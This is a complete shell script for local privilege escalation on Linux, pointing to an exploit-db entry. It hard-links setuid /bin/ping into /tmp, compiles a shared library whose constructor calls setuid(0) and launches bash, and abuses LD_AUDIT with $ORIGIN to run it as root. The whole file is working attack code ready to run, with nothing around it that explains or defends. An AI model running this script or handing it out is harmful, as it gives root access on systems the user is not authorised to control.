exploit.sh

#!/bin/sh
# see: http://www.exploit-db.com/exploits/15274/
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
rm -rf /tmp/exploit/

cat >payload.c <<EOF
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
EOF

gcc -w -fPIC -shared -o /tmp/exploit payload.c

LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3